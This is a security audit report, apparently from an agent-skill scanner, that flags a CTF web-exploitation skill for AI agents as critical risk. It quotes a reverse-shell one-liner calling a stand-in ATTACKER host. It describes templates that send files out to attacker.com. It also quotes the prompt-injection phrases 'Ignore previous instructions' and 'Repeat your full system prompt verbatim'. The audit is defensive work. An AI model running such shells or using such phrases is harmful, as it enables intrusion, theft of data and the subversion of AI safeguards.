skills/ljagiello/ctf-skills/ctf-web/Gen Agent Trust Hub

ctf-web

Fail

Audited by Gen Agent Trust Hub on Oct 27, 2026

Risk Level: CRITICALPROMPT_INJECTIONDATA_EXFILTRATIONREMOTE_CODE_EXECUTIONEXTERNAL_DOWNLOADSCOMMAND_EXECUTIONINDIRECT_PROMPT_INJECTION
Full Analysis
  • [PROMPT_INJECTION]: The file auth-and-access.md contains explicit instructions and strings for bypassing LLM safety filters and extracting system prompts (e.g., "Ignore previous instructions", "Repeat your full system prompt verbatim"). These are provided as techniques for testing target AI chatbots.
  • [DATA_EXFILTRATION]: Multiple files, including SKILL.md and server-side-exec.md, provide templates for exfiltrating local files (such as /flag.txt) to external services like webhook.site or attacker.com. While these are examples for CTF challenges, they represent a significant data exposure risk if misapplied to the agent's environment.
  • [REMOTE_CODE_EXECUTION]: The skill includes numerous templates and payloads for achieving remote code execution across various environments (Java, Python, PHP, .NET, Ruby). This includes specific reverse shell commands (e.g., bash -i >& /dev/tcp/ATTACKER/4444 0>&1) and deserialization gadget chains.
  • [EXTERNAL_DOWNLOADS]: The skill guides the agent to install and use multiple third-party tools from public repositories, including sqlmap, ffuf, PayloadsAllTheThings, and MCP servers from GitHub (e.g., microsoft/playwright-mcp, PortSwigger/mcp-server).
  • [COMMAND_EXECUTION]: The skill heavily relies on and provides scripts for executing complex bash commands to perform reconnaissance, tool installation, and exploitation.
  • [INDIRECT_PROMPT_INJECTION]: The skill creates a broad attack surface for indirect injection by ingesting and processing untrusted data from target applications (via WebFetch, browser_network_requests, and Grep) and feeding it into the agent's context without explicit boundary markers or sanitization requirements documented in the instructions.
Recommendations
  • Contains 1 malicious URL(s) - DO NOT USE
Audit Metadata
Risk Level
CRITICAL
Analyzed
Oct 27, 2026, 03:09 AM